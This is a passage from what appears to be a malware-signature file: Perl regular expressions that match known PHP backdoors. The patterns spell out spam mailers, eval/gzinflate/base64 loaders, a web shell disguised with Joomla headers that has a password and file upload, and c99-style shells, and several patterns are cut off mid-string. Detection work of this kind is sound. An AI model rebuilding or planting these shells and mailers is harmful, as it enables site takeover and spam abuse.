C\\r\\n";\s+?\$header\s+?\.=\s+?"Subject:\s+?\$subject\\r\\n";\s+?\$result\s+?=\s+?mail\(stripslashes\(\$to\),\s+?stripslashes\(\$subject\),\s+?stripslashes\(\$message\),\s+?stripslashes\(\$header\)\);\s+?if\(\$result\)\s+?\{\s+?echo\s+?'good';\s+?\}\s+?else\s+?\{\s+?'error\s+?:\s+?'\.\$result;\s+?\}\s+?\?>/is,
    qr/<\?php\s+?\$to\s+?=\s+?stripslashes\(\$_POST\["to_address"\]\);\s+?\$BCC\s+?=\s+?stripslashes\(\$_POST\["BCC"\]\);\s+?\$subject\s+?=\s+?stripslashes\(\$_POST\["subject"\]\);\s+?\$message\s+?=\s+?stripslashes\(\$_POST\["body"\]\);\s+?\$from_address\s+?=\s+?stripslashes\(\$_POST\["from_address"\]\);\s+?\$from_name\s+?=\s+?stripslashes\(\$_POST\["from_name"\]\);\s+?\$contenttype\s+?=\s+?\$_POST\["type"\];\s+?\$mailer\s+?=\s+?\$_POST\["x_mailer"\];\s+?\$header\s+?=\s+?"MIME-Version:\s+?1\.0\\r\\n";\s+?\$header\s+?\.=\s+?"Content-Type:\s+?text\/\$contenttype\\r\\n";\s+?\$header\s+?\.=\s+?"From:\s+?\$from_name\s+?<\$from_address>\\r\\n";\s+?\$header\s+?\.=\s+?"Reply-To:\s+?\$from_name\s+?<\$from_address>\\r\\n";\s+?\$header\s+?\.=\s+?"Bcc:\s+?\$BCC\\r\\n";\s+?\$header\s+?\.=\s+?"Subject:\s+?\$subject\\r\\n";\s+?\$header\s+?\.=\s+?"X-Mailer:\s+?\$mailer"\."\\r\\n";\s+?\$result\s+?=\s+?mail\(stripslashes\(\$to\),\s+?stripslashes\(\$subject\),\s+?stripslashes\(\$message\),\s+?stripslashes\(\$header\)\);\s+?if\(\$result\)\s+?\{\s+?echo\s+?'good';\s+?\}\s+?else\s+?\{\s+?'error\s+?:\s+?'\.\$result;\s+?\}\s+?\?>/is,
    qr/<\?php\s+?\$to\s+?=\s+?\$_POST\["to_address"\];\s+?\$subject\s+?=\s+?\$_POST\["subject"\];\s+?\$message\s+?=\s+?\$_POST\["body"\];\s+?\$result\s+?=\s+?mail\(\$to,\s+?\$subject,\s+?\$message\);\s+?if\(\$result\)\s+?\{\s+?echo\s+?'good';\s+?\}\s+?else\s+?\{\s+?echo\s+?'error\s+?:\s+?'\.\$result;\s+?\}\s+?\?>/is,
    qr/<\?php\s+?preg_replace\("\/\.\*\/e","\\x65\\x76\\x61\\x6C\\x28\\x67\\x7A\\x69\\x6E\\x66\\x6C\\x61\\x74\\x65\\x28\\x62\\x61\\x73\\x65\\x36\\x34\\x5F\\x64\\x65\\x63\\x6F\\x64\\x65\\x28'lZ3LriPdjpznBvwOB40zsCeNnbluEhp\+E050HXlsnMd3iYovuHbZaNiDQv1\/VW0pc13IYJAM\/vNfj\/fj\+Y9\/\/Pv\/\+Me\/xb\/Wz59fZ\/xrjj\+\/VvxrvOv\/P383H39\+HX9\+te\+fnZc\/v\/78\/fnn352vP79u3\/\/Ov\/v8\+eP7\+\/jz\+\/rzb9v882ts\/7\+\+f\/br74\/f\/9\/b9v9\/Pqtd\/vr36\/fn9b9\+vl3\/\+rzx19\/P\/\+T7\/n6ez\/P2\/\+R9\/m\/P9\/f7\/\/15f3\/f\/nntr\+drf33\/n3\/b\/16\/\/\+z55v\/5ff9fP6\/3O\/889\/qz1\+P2\/bz\+58\/mn\/9en3Py\+fnPGfnz\+7z\/\+e\/L90x8zs9o37PT\/\/x\/f3334vO5nz\/\/fF7\/8zP9\/H7v\+uzl7fv3\+Xd\/fs3P97y\/fzef3\+\/9fFZ\+7uf\/H3X\+5vz\+3ed9\+tLZ\+HMW5uv7K595fT8z1\+Hz\+ef3mabO5ecdPu\+f\+3T9nv\/8vM96\/HnHfv\/\+\/lmD\/L4\/z7A4Uz\/fn8vneejvPnt\/fj\/zvH\/X4vO5n3\/zObefz\/j8d57Zy3etP8\+5rvVu\+fennoXn6lqHn\+\/9zOe56uf793PzTr71539\+raa9uesO\/Xz3L5\/v8\/\/9\+\/vnu\/Ndfr6f8fnMdq3v5U7kn\/XvGvKcn\/\/\+nIF85uO7l\/k8b51l1udV65b\/Vn\+e5\+S5nfX393k\/z5N7OfS9Rz3n573yvW9f2\/X5Wdb187Ofz\+N78r\+v3\/PF33\+e4\/Nzn\+dk79jLz3N\+1mFc9f93rcv7e\/4\/\/53nZXz367PWkzv0870b\+fnzu095hi7fdctzNL6f\+bkbn7\/Pc3t\+n2\+uun9d53BofXOd9B6fZ8g1vOj5jlrLz3sNzsHtu8ef78rP12fm5\+IHbt9n\+NyRXKuf754uPfPnzn3u\+ljfv\/\/8\/vmVP\/fYzqrOYpNN\+NicPP\/XOmOdsyzbkXazf\+\/YvJQtyTXVec3n\/fmuXe6d\/u6z5kt79vn50eqO59rfvnb\+Y0fyV9Oer1qDXNP5\/bPcs0P7f\+rz9f9dZ\/fzOdzrrvvzud\+f7\/7YyXxf3fGmuzfmd\/9zP9r3XfIeX2sNOndU787dWrI5nN2h70z7JVv8\+b7P\/uTed\/nxy3c9P2cnn\+3Qs1\+\/f\/axQ591Yq3Txp1an\/Hd5\/zc8X3\+PHP6vP2s5B1dZee61gBbv3TO8uzIZ3xs\/\+ff5tou7fO17Fb67qb9at\+\/y2caeu63PkP722WX8u\/4vuv3ruTfT\/3\/Rf9\/\+Z7vzzp\+3i3XU3\+f\+6PvwVYu4Yn8N6fu86PeKe3ukg2Z232QL8jzetMzv757vra\/zzWW3ct7f\+jcXmWHDv0ZduChNTv0XLK3\+JbPuy7dg8\+fL9mdz893\+YxxbJ9716\/1PQ\/pd1n38\/vvck3u8tNLdkv7zfPmM1\/077nTU\/5mff\/\+85ljbRhMz5C\+tGmdZvn7z\+fguziTUzY\/79EQXp3f\+5drLTuUZ\+dH6z2\+vw\+td9o0YQZwxeL3H32XbFx\+\/n2z5Q\/tr2zylM\+bsrsfW9yv5XvyXuje5P3UXZ\+PsmND\+\/dZmzxzQ3bnLQw2dPZkuxb2a2y\+W2c9bYjW5RSOSp8lXDR0DtKHsnfbvs5rfVfe\/UvZtt4KE\+QZe8lnaM\/zLF\+FAfC1N\/3Zdiam\/G\/u61v2Seuf2KTJJ2qdhzCHv0M\+MP9907Nw31\/f85rYEvu3yvcmBrwLP2n\/l\+yj\/e\/Ump217\/iB9G\/Cbnm\/rjoLYNkf\+ez2\/dnEHqdspmzv5N4K4w350vzFGXpo3XTmE6ue3\/fkv5uw2VSMlOd1yPccOpM80\/Hdz\/QBWv\+879rzpbVtWsepuCFxA3ZV6zxG2bH8\/8\+\/eeuevHTf37pP8m\/5XHruqbuZ\/v9aPmuAN7ruMNjx1H3muV56xlFrMoRbh\/xX551\+vvuKzxjym024aPTCX\/gRsHie9bO\+I99FscUQRlvCColv8SGrcDpnclzi1\/m0XxOGWGfZrYYtHMI\+TVhB65fruzZsqc\/Kcyg\/kzhH\+HIJv6a\/Fz5bss1Tvh2Mxn93xTOJ7YWB05ZcymekDW7b\+dBd78I\+XRgdTNGwT\/gi4aMpfMbZzrWWLQev5XNja4lF9Pf4Bvx2l3\/kLnMOG7aNddCfJw5QDDh15\/Pv5d8\+65S4p\+uMvr7POPl8rSl\+Kt\/lobUSlsPGpp15y4\/LzuU5uskWLdnPp7AU8QH2Ur4g748wdt41\+RvwnrGnzlg\+w013hfPatrPdv981N7yctlf2Fn89zvKL4MYuW5fn77adNZ3jhY8hdpuF57tiysYdv9Xdy7NyfO\/Mkt\/hM5vs\+dC5XbJdgxhVNraBae\/687f2DAz63t4LPKT9m2DDUWvU4bPkzzlnU3F1rt\+ps6fPz3fBLhyyl\/JR9ve6c1N\/37HF\/bvW4MFc35f2bbMZE797bHZV\/q\+JK5mtzkLb8MjS3jXi4bt8Bef6EI7UWi69ZxO2avha9r4Lj2gfGuuhc73gGl\/f9Tj1HQ18IeyBH0\+MpO\/Of8u76t8PzrV8QFfcPmfhAHMOd52JHS9rTTkn6YuwRef3fmWMeQ3HgIPPxAbKlqbvwXaIT\+o6q9jcpXOI7xvCz10\+BZu68Gfru795Z\/Xf3KMhLN31bPleh2yrznVigUft7VK8kTEW8ZPsSxOe7OIe8pm5Aw\/dfdmdIf8yxd\+kX9aaDt292QuPZPwqzEOMjw9LHNTlvxQzLa1\/niXiFP37UzFCnosNZ\+d7ctenfOBda6Y4rGHT5AeW1mfAH2Jfdn6XOGLD\+B2\+QWdzCpfAA\+ZeyBc2cJzuw9S5Ta7iUXYXHJ93Y2jvjvp58xPy\+6PVuU5shA\/UXWz4y\/79jMTkxDLsV9d5Es8CJwnWAiMM9p11w8YrXso1UXy\+tn1s1zoXnLUuO5lnnPhF56Dp\+QZxIX763O79z3cNJnhP\/Nu41Pflc\+A3XuHcQfoX2cXk6sFcrAl3\+dSZm9\/vSs5EOICYsm\/xDT\/j8yQbs\/AF6\/tZ6et0DrrwqGPla507vq\+x1m\/th3x5fod8T\/q0t7C9YqLRy2c0vWPaFtnCoTjnlM1riofg3fq93hcuEh\+V33\/Tn82KgyY8YdeeX2RvXuGYB187ZAenfs97Kpw3wefyi6yV\/dxdtkyYoOv9TmHg\/F1nPu9gl50VxwueauJBwY1dPqkp3llaI\/BSvv9b\/153ZMq\/T8VKc1Q8lf5Eti7P0nOLP5ruz1L8obuXnyM8if\/KO8v5H8JP4CzFL0PcYnIYU\+8jrHLq7Ow4ZyieSVuomMC5G3Eq\+XfgLmy6zhD8NfFtg6\/X\+3ed2SmM3YR30ifO7XvBq8LIcBQ\+A1teqovbA8sQl4HpwAbkkDo2DD7tWnalrbLDQ3syhafSjm842jmq14ZTiXtkY1j\/9Pd6TuJr1j\+fEays\+Br7nbyGzs8AwypumeDm\+f2OxBtgp7HdT3CBziZ80RS3MIT38zzrnCW\+FC8DN\+28E2txLT8I5wyfOYl7ZW8z9t1ijFyLm\+yM\/ETTGpqLe\+q8Kg7JZ2thLgzcACcAJwmXRdyZd132tCmnNBUn5M9fdFfZL\/zcdsfwxV2\+Gc6Qc9\/EaTufIwzc5LOa\
    qr/<\?php\s+?\/\*\*\s+?\*\s+?\@package\s+?Joomla\.Site\s+?\*\s+?\@subpackage\s+?com_content\s+?\*\s+?\@copyright\s+?Copyright\s+?\(C\)\s+?2005\s+?-\s+?2012\s+?Open\s+?Source\s+?Matters,\s+?Inc\.\s+?All\s+?rights\s+?reserved\.\s+?\*\s+?\@license\s+?GNU\s+?General\s+?Public\s+?License\s+?version\s+?2\s+?or\s+?later;\s+?see\s+?LICENSE\.txt\s+?\*\/\$is_bot\s+?=\s+?FALSE\s+?;\s+?\/\*\*\s+?\*\s+?\@copyright\s+?Copyright\s+?\(C\)\s+?2005\s+?-\s+?2012\s+?Open\s+?Source\s+?Matters,\s+?Inc\.\s+?All\s+?rights\s+?reserved\.\s+?\*\s+?\@license\s+?GNU\s+?General\s+?Public\s+?License\s+?version\s+?2\s+?or\s+?later;\s+?see\s+?LICENSE\.txt\s+?\*\/\s+?\$user_agent_to_filter\s+?=\s+?array\(\s+?'\#useragent\#'\)\s+?;\s+?if\s+?\(\s+?\$is_bot\s+?\|\|\s+?\!\(\s+?FALSE\s+?===\s+?strpos\(\s+?preg_replace\(\s+?\$user_agent_to_filter,\s+?'-NO-WAY-',\s+?\$_SERVER\['HTTP_USER_AGENT'\]\s+?\),\s+?'-NO-WAY-'\s+?\)\s+?\)\s+?\)\s+?\{\s+?if\s+?\(\$_POST\["ppp"\]\s+?==\s+?"1"\)\s+?\{\s+?\$target\s+?=\s+?"";\s+?\$target\s+?=\s+?\$target\s+?\.\s+?basename\(\s+?\$_FILES\['uploaded'\]\['name'\]\)\s+?;\s+?\$ok=1;\s+?if\(move_uploaded_file\(\$_FILES\['uploaded'\]\['tmp_name'\],\s+?\$target\)\)\s+?\{\s+?echo\s+?"yes";\s+?\}\s+?else\s+?\{\s+?echo\s+?"no";\s+?\}\s+?exit\(\);\s+?\}\s+?\/\*\*\s+?\*\s+?\@copyright\s+?Copyright\s+?\(C\)\s+?2005\s+?-\s+?2012\s+?Open\s+?Source\s+?Matters,\s+?Inc\.\s+?All\s+?rights\s+?reserved\.\s+?\*\s+?\@license\s+?GNU\s+?General\s+?Public\s+?License\s+?version\s+?2\s+?or\s+?later;\s+?see\s+?LICENSE\.txt\s+?\*\/\s+?\$joomlaps\s+?=\s+?"2f3dfcf7e1889c92b32e18182c742a43";\s+?if\(\!empty\(\$_SERVER\['HTTP_USER_AGENT'\]\)\)\s+?\{\s+?\$userAgents\s+?=\s+?array\("Google",\s+?"Slurp",\s+?"MSNBot",\s+?"ia_archiver",\s+?"Yandex",\s+?"Rambler"\);\s+?if\(preg_match\('\/'\s+?\.\s+?implode\('\|',\s+?\$userAgents\)\s+?\.\s+?'\/i',\s+?\$_SERVER\['HTTP_USER_AGENT'\]\)\)\s+?\{\s+?header\('HTTP\/1\.0\s+?404\s+?Not\s+?Found'\);\s+?exit;\s+?\}\s+?\}\s+?\@ini_set\('error_log',NULL\);\s+?\@ini_set\('log_errors',0\);\s+?\@ini_set\('max_execution_time',0\);\s+?\@set_time_limit\(0\);\s+?\@set_magic_quotes_runtime\(0\);\s+?if\(get_magic_quotes_gpc\(\)\)\s+?\{\s+?function\s+?QBOstripslashes\(\$array\)\s+?\{\s+?return\s+?is_array\(\$array\)\s+?\?\s+?array_map\('QBOstripslashes',\s+?\$array\)\s+?:\s+?stripslashes\(\$array\);\s+?\}\s+?\$_POST\s+?=\s+?QBOstripslashes\(\$_POST\);\s+?\$_COOKIE\s+?=\s+?QBOstripslashes\(\$_COOKIE\);\s+?\}\s+?function\s+?QBOLogin\(\)\s+?\{\s+?die\("<pre\s+?align=center><form\s+?method=post>Password:\s+?<input\s+?type=password\s+?name=pass><input\s+?type=submit\s+?value='>>'><\/form><\/pre>"\);\s+?\}\s+?function\s+?QBOsetcookie\(\$k,\s+?\$v\)\s+?\{\s+?\$_COOKIE\[\$k\]\s+?=\s+?\$v;\s+?setcookie\(\$k,\s+?\$v\);\s+?\}\s+?if\(\!empty\(\$joomlaps\)\)\s+?\{\s+?if\(isset\(\$_POST\['pass'\]\)\s+?\&\&\s+?\(md5\(\$_POST\['pass'\]\)\s+?==\s+?\$joomlaps\)\)\s+?QBOsetcookie\(md5\(\$_SERVER\['HTTP_HOST'\]\),\s+?\$joomlaps\);\s+?if\s+?\(\!isset\(\$_COOKIE\[md5\(\$_SERVER\['HTTP_HOST'\]\)\]\)\s+?\|\|\s+?\(\$_COOKIE\[md5\(\$_SERVER\['HTTP_HOST'\]\)\]\s+?\!=\s+?\$joomlaps\)\)\s+?QBOLogin\(\);\s+?\}\s+?echo\s+?"<form\s+?enctype=\\"multipart\/form-data\\"\s+?method=\\"POST\\">\s+?<input\s+?name=\\"uploaded\\"\s+?type=\\"file\\"\s+?\/><br\s+?\/>\s+?<input\s+?type=\\"hidden\\"\s+?name=\\"ppp\\"\s+?value=\\"1\\">\s+?<input\s+?type=\\"submit\\"\s+?value=\\"Upload\\"\s+?\/>\s+?<\/form>";\s+?die\(\);\s+?\}\s+?header\('HTTP\/1\.1\s+?404\s+?Not\s+?Found'\);\s+?echo\s+?'<html><head>\s+?<title>404\s+?Not\s+?Found<\/title>\s+?<\/head><body>\s+?<h1>Not\s+?Found<\/h1>\s+?<\/body><\/html>\s+?';\s+?\?>/is,
    qr/<\?php\s+?\$wp__wp='base'\.\(32\*2\)\.'_de'\.'code';\$wp__wp=\$wp__wp\(str_replace\("\\n",\s+?'',\s+?'FeBDtA5qFEmVpI3Ss89biVXZfVU3wDqsSNTPO9FrDzUHU913q6oh3iUDr1\+T5LHj\/ALXoZn6tuxmkoac\s+?jtgAhunyXqRrUefZs7mbsLqtg7MVewtH87r8K7fwDzOsZ4hHyqZyF8CLY8YDU1fXaRE4oCBO88GqBeQF\s+?LuHfrLm60uRPyR2xzlTuLNQVBermyz1D8RacKV\/CKvzXUdoW9hIJJM3CmK1QDTiLjtLCLZ5w\+GdvkH4N\s+?kroDGYExsa251S7dfFLnnUdHvqZJRBfheLq2nl44spZOCXSbiNl6hUlq51iAvTp8KyheuGvVdE1yNzS\+\s+?kwTkDjqaXpMhARZYbypV2bvrGZcHTf4aJXiFZUl3czGHDltn8DPUBvj8Px4iCGP2XhLgDrolr\+1QNNbX\s+?119DVp\/fh6liLN4iOtNv59tCk3WHdtSF12sgkhaeMYR6UeemSK4OE\/lFyLK9mMbO6pQi9IMrkzDgaPpf\s+?YEd3s6Q\/nsEJlJz\+7YS9q73Rzb\+ix4oGtuWrWXUADQO\+YnSqhf6paDlrFKbcC1Vaq7mi4cIdebWFDSaY\s+?CL5VAN8C68iraqz\/mVo1TijMsMXObbnQSH9XpXc6efUYH6z8FfS7Bo9xs7x3sD7vaTVxny2FKM7AwB0\+\s+?pWeZGcT1S7UufEocDDOuuwQOJMAgpLJqXnjMdT7zmJBdbMHoGMf26Pf0eODEV5p7TCzw6iUBWdBHtoMO\s+?8NemlzClD3gqTCgUlDJliuDDmyn\+1lEpKXeoVbc\+idZC5oD0fbZduQXbL5TXLExr7udavIN1UcEqgAZM\s+?sV61aMpnefIggEuI26eLyfcOH8GZNljG5J1cUMAH\+tmvaTraSufrp09rio7WUTI7ROJfNs529PAEIpyw\s+?lUYGtBsagZoVqec99guDOVPaaUYog7h5MFfFjKClYySpjKL3HsPD\/Vf3dHX0eJEaUqwCwBZcrIQwv9Ab\s+?2l7T6QODo6sWlxSdHsBNadFmQfzwRHwGhsMIhbXbP\+\/gSHhsFAQfRxz7MAC\/qEgbDT0O0fKR4uHJaz9e\s+?dDkqdzy1bi\/FYsunlyYzbytVbghBEqL3zH1Egi9BP7v5FXGLDpu195OG5RJQC\/iFdJlskO2YyU18NGK7\s+?QcFY85VAgH6o1E13gE5JX6ZDpcBEcL842I4di4jZA\+ImmO7oRa9OiOJzX9t8Oz2RIy38x2b5GW1lLnD3\s+?HnJYME4s6zZtyiyDMB6lOXTqn9WrLn4iAaVXg9FsAlRZiHQogg9L3aXX1dFVf69KAm7DmB7HwGaVNrYF\s+?xJr0GetnPcMGdTVxgeoE5xPIalI6nPCRlcE\/PCADUaXSeeLr2yJDE8ga\/WbxMFOWQrsBCR6US\/oC31HK\s+?1zaYlE4IufaCnZKEfwQGFbZG14oo7XrEFV8moP8RcteRgYomSUHY3X9\+h3L05ibe5hmw8Dilu6ZtFu4Z\s+?PzehfUzvQybeWg\/7DKbUEO1wmPPf2PmxD\+ZyRKaQBhJGE9g2uBN0p\+dN2lRWN5TNAFT6g\/NxqxzZGka9\s+?Lr9dFssGuSeBlPhY1bDaafxj47BYiGui4du0rGQKyQdLzPr4chr7Of70Px2s08BIc7\+iYrtpnZi6E1io\s+?Aqbz6FjJ\+ODLqfojQrDrdazfrnuXv\/mld5\+egvulmqvCo7BtX5QwNOEFwlgYd1H8t58PaLfqAHHswrZ1\s+?5BJEz\/we2CWcD1eQNIfvGrRSCUWV78nNosrXDZ\/20xXPt25AhKP5SebLmkKznmiu1\+Zr2eXj8PiOY318\s+?jv7RBOyj2qjbDQY7K\/Vi0Nf0JE\/\/2jgZwygL3EI5OYPvimBSM0GYs6rZC19ElYbAEq82GJv\/4sSdiKmj\s+?OY5lVGs6WUInmZIEQr9NBzU3LIwHEvzpQM\/5p\/L7POcQRwx19Jaj98fHf\/Pw5Rpt3d2BqStVnJdo6sda\s+?rEXQIb\+JV1QyYw\+gB0L9t\+eKMsca\+vYgr70S3gZIbYm8\/aQfLPg3CzLIJD\+uEtXyY7zFQQ\/rz8YbG\+kN\s+?rZLeedxzq1GJhyLMci5rDgfYtmfWNskDrrSH3D05JyKezQhXrJG1s6alarut8T57xaG1magcB7ux7B9T\s+?q3\+ypmXMwMlKZLhYnSI1PAD1mMcyqpod5LaGWT\+9ozG6rq4Hxo\/mPaiIu8U6vrXJBYVRXRUNRzsU\/L6e\s+?BvdxF4DFYEYprfWcKbJRhaEtqtvvnGGrFPE\/3ZNjoS2\+BwqZCw\/aUWDb0GLq2k\/XZ4h7neI1YPnvGHcM\s+?223qONklvw9KoMGoAGEoWwv368JJ5VTqDbc1lQqismYQejUJpWQ2PknzYE5e3NiX\+pf3WebYn\+Thi7Ti\s+?Clg8D\/FZJ48E2kBQS6PHlDAaI2by6CAlJrfkdAbgnfdAVwYuoW6vriqbhfmlHucrdCMN7X9BFKbEyqo7\s+?UCjiovRMPMkAmYB1exGsPl683Zxv\+d4JdXRoJaJAtZ1nkN\/M1rYN\+8p2\/6efP9oQRsqCQl\/6uvVsY9\+\+\s+?wHqSG1mUZ1o3KzDBlZHT\+b2pbFTy2\+5HkrNOPgP2HciUpH\/RxCXcwhFDV\+\/z0M\/UkyHAm1I1eQcyZ1HF\s+?8C4PdO4ObQPJYU6grqA00TwnY0RZbvLMNymKBC1Nn2SZf3SzDELq\/v6VX2MOm\+DAXaNwoAcrBXE7\/0a5\s+?lUDTZtvi1PTLNfXyLuc5gdal\/X9JCH5YYd2EDl2Cw3cCw06SjfvTmfAw8Dflf\+oFxvG\/hN9c92uyjkbF\s+?0dFUY9JcClU3coNMk40Uny9oD2cKg\+suu8QFt1JnrhlfcH8EIrRpAZPvQr3a\+rZflpH6yvRnDq0w1l0T\s+?uTd\+1uI3EoUfVGOKwVQedXhVarFJIDqxjiJ\+USY0mjwSbY2wR3bc5sMy4JWTBi3gNbm54mwSBZdzvanF\s+?JgGtgsbC3wLel\+xbguSLiKaTuh9sGUjwIfEdqCmvQhU30uU9EFs\+qp6SM493orl9f7FDDDwYxJk7hW9b\s+?Xm9KTUPNcFpNYvhwUKjssaAz\+QCp5a6SLhpZi\/V8\+cbmLcXJATRxTOtO3khyj1xrXoo4VFvVAVAP1tmL\s+?BQRDGruYxiXLadlLdpQMVcCuppgZQUvuAQLpZgJAi\+97Qqdh7zuzQJauNg\/RgA366aeuy6luD8Ff58J5\s+?2eXbWYyR2YrmO8fEINviAst4UY2SDIekhEFZd8nNd6i4I5dY\+fDFRv7N2fMuASePbkmFMbrT5tvhylk\+\s+?kbJ6ASc2XvrbOSIUR\/03ZjWWBbT2gZEw8\+9b2imK5veszHjs3fUPt1Xeb1oWJ0\/iNxDd3Qoo5xL6zMfJ\s+?WD\+gMxur1Uy2abQQ0b\+7zq4yTG5eGLWHgmQugKfzGBcFRtI17iECgyYuVTxy\/4nnT4\/YQXBTZydJLyvf\s+?uOGxHOTKJFk4b2mLGmyGJZs5e7V0kLeT89\+ZgdZ8\+a6iuspcKnmbYGuthSSeB7ARNAvIC\/\+fdqmFniMK\s+?DpJem7QUVVOtIcFI4io5QA3fyaQN9m42qK7p4\+t9lkMdae73HqrB0dTvAHAI45EnUtsLnuWsw1uiiW51\s+?3nTt4qC8mrMrliPqcRPcR1lpQOsZu8EbX3Pg36n6JgHj5EJfUffmo77fhAzwE1v4q\+vlWL40s6H2VMkL\s+?i2IlP2xQRuT\+oiQcZt1ToO3HnDErw3Ooy8\+\+V\/TKoXZlyE0nh1OPVOpK\+PIcVk8vcU\+jFCnClkSV0\/IO\s+?dcQZ1
    qr/<\?\s+?\/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\s+?\*\s+?___\.\s+?\.__\s+?\*\s+?\\_\s+?\|__\s+?____\s+?____\s+?____\s+?\|\s+?\|\s+?\*\s+?\|\s+?__\s+?\\\s+?\/\s+?_\s+?\\\s+?\/\s+?___\\_\/\s+?__\s+?\\\|\s+?\|\s+?\*\s+?\|\s+?\\_\\\s+?\(\s+?<_>\s+?\)\s+?\/_\/\s+?>\s+?___\/\|\s+?\|__\s+?\*\s+?\|___\s+?\/\\____\/\\___\s+?\/\s+?\\___\s+?>____\/\s+?\*\s+?\\\/\s+?\/_____\/\s+?\\\/\s+?\*\s+?\*\s+?recky\s+?aka\s+?bogel\s+?\*\s+?envir0nn\@yahoo\.com\s+?\*\s+?Pontianak,\s+?23\s+?-\s+?Januari\s+?-\s+?2013\s+?-\s+?\@reload-x\s+?\*\s+?Source\s+?:\s+?http:\/\/akbidsukawangi\.ac\.id\/c99\.txt\s+?\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\/\s+?error_reporting\(0\);\s+?\$bogel\s+?=\s+?'7P1sf9s4kjgO\/737\+ex7YDSejj1prNOH4o6nqfs\+rTOdn4ciKYoSJcqk7tl\+70IVAJ6ieSfdvd\/ZfSbdiSQchU\+hQygUCoW\/P\/789\+Vx\+V\/\/bHNBnkiJ\+8KFTw\/011M28OfXn\/5lH4slHr5kHHTI4nnPCTOBG\+mKrE6KnXjVTQhmGaqNBEa\+WjxYsqhY8jkFfmTNwLKiZk5drA0NG5msScvP4fBtNb8W5PD19WiYwJus5tqzuRKMFRT6\+DP\+fPxsIgvS43\/9589YQdBHcvElJMqLlXmEMHqlrjT58eO1Iq\/kxeY8FLq4\/shkH62Grz\/\+HKZSftbUxYx4citfT\+1PvfWU7jxkxWe9FuIKrXnui4XQabu9HuvGbX566GZuoZor9ZO6kPSFearCtajPw\+25qsl7MyzJcG6trcKjdCdfRMehx5\/D2BQidK72msyt9lj5WHUl70lu0TQJ1h8\+ffqv\/xzp0v53JYygyD\+5sb5LfRoLAHv\/GfCWhIXwQNJZ9SB\/jlOXuwdE12fjsyFYDyNOnCmGvl5Vn3XiVYOUB\+63\/\/pCC95JlUmTz9FV5K9B8tVXgpyRYVWy8RkgZaauAQfQymbBQ9TFp5W\+\/Byzfoz01Vefw\+\+lIFbqT\/l8A3UgOAHg0JZuQCarkbaWH7CDn2P4DW6l6ovPC6AJLfxMEErqU7br\/CUSyeUiEZZWxsXOulbdpGU5ljXRkSX\/yflOUMdyA\+pM8Deqqa5xyYGSWabTDIq6S65KSqasyeLqV19vfVPuz\/fLFbcSJjDOLtrSrlCfj\+ikqWbaIKIjGLKbCJBQQLKhAyJ40gkIaQMI6m2syeMVIqTpwuoz\/qCEJJxBf9NlBhLaLlV\+uVjSBCz6l6WgyCPBCOildBgZaWQfH7BncSxaS5rydOuLFzhuJejtVxUFjeEAvOMttAzAwZ0vS4y\/lRH9z4R3xzzilD8e6VUknbWKoWuZy4u1xTEUKyosfCUEYhmOFbIIxFKAKkAl69OprS7G\+tU1IINPVjZcX3CvN4sVKdWsU\+IMrgMiiBz\+qed60J3LBjTmH0OsJAJLQMi8upZqWCAcduvkVbt4vDrS19izpbCAleEVY6e7Y\+UC8JqIRQxMXvhbDJ7Zr4q3zxFUJnylZdlcj\+bqKvQtqKo9490VY4xWZPc4InPmUdYIHYKls\/v7EVLGO9kw5qZvMzaKonBzY8\+GK3SaXVqiSpPY1SR\+NVZcweo1BzCeDttoHPJdnSLC6bXFxW1KAcQPhHXL8NfWLCZCr94eXD8QmP\/4h4AJh7lCn2NoDZNol3yzRwdceOHzI9ExZ2b1LHWavgUdUDAMbn8e\+lvo4oGDPE4UctOU5IUqWGb4hqoKqcyNFNLiF4L2488CNzHk8ZdfUC695kpL\+2TI6BB\+Tu5sDF1bOtJo6Ocw5oJ\+IDx\+5twlbrAfdsscetouVvAmmpFlQ5fyApUrwOmp1clv4hhHEWYlC9p3b6VvL8S1IalRl3B31Xe\+cQkhRYD\+ftZnxUgIfj3L0BXNKXTqxuqZKTqYGhFc6aawkd2tmoD\/s6jrMxWTUFFu3AiGVqusWmx5jtbjsQdEfbl\/Xi9ZGaHn\+FebJkLknbSeL59kicchuH9jJRr6FtNABYXErbqA7\+bKSwEht7JkDnwHv84bhcZmvX0VuYpfXGNfABsoVTopqSbKmfFtIU\/FX0AuP4Pqax5v6c\+YgcxzAlDAvB9m5x\/k\+WW1P2rXBJj\/\/K\/\/5DgfNHX42ZCXwCDybIgLXYVPSp5NDwFoiDgGhRlXHxUGnrbQ4QDJdEPbAd9m1rid1WzeguDaGsIS1O6VwbKhJfiBfbRmf05o2lzKoip14gRThpa\/4kBavAJ6ezsyuPDjxythcqxyii3uAEl4cMH9sjRxxe7dxw\/nP339\/x6\+\/e2CSDonvx4uPkDtj3TRs5gDjLROgP3mUHsjgN5rflM\+eayR5DQJx\+3jxwsLg48\/q48LnSNMP4fVx48PQYVfR\/NspOuaBcyuxCD9nfuIPPeR\+8x9JHnmrnm39oVbrDXNdrDWqUf8reijKVUkpx2rMmpBJImV4KtSpYxdiWiV437RVGe3ZmGRm\+OWhrpLPRtJdjvdYQkrITtLK7SrLnPJC\+lM1HFubqf\/5hlWF7ucw9DAMnEh7Rolgrg1R8\/yDvZO5vlUNltDa35numRzS5tV\/CWLEx1xJkzNH38GDhQ1wTS\/2FgHpFaPGRU2lrgngN2ZUUUqOnUXXJcOLljLePrImxheGY9JULDOyYI4TgI7dcHkEFnueSbvvzz6GIsgbY3yfFKRANEM5UMss\/Z\+ltQN229F7Q2Ka7n061QN8aR2H79dYHKo9PhdIBTSrRMw3D38zVLRM8NY3zAlY8gaMresADGyfJYMIC\/MY7oWXJ2ZsEBMb1iTSoCa6Qzb2cYtin79FXERrWrhcZ96vlO\+kZ825Q1uoUBsHoTXMFEpQk47vIGzEiurJmA1w1n8UlgRwcyHXGblAykPta1tMGoAi2ZJ4Tr0GWO7a\/jNNWxMBXuMrb6RkbZKdlyGgQDXod0XzfxW\+hK6hl9nOfUBvw5udgvcuQvxv4c4fSF3qjgDgHkywRwcq8b8\/HBImMkcNAHb\/YkAm52JzNkdSVpDdFnQoG7jsjT0Jexd90qcDnKMrXfKnLDgQPvTDdDZ9pwuAuWvP14AFp\/RmhFt5L6G7AlBunnjG\+I\+4LggvVzdc98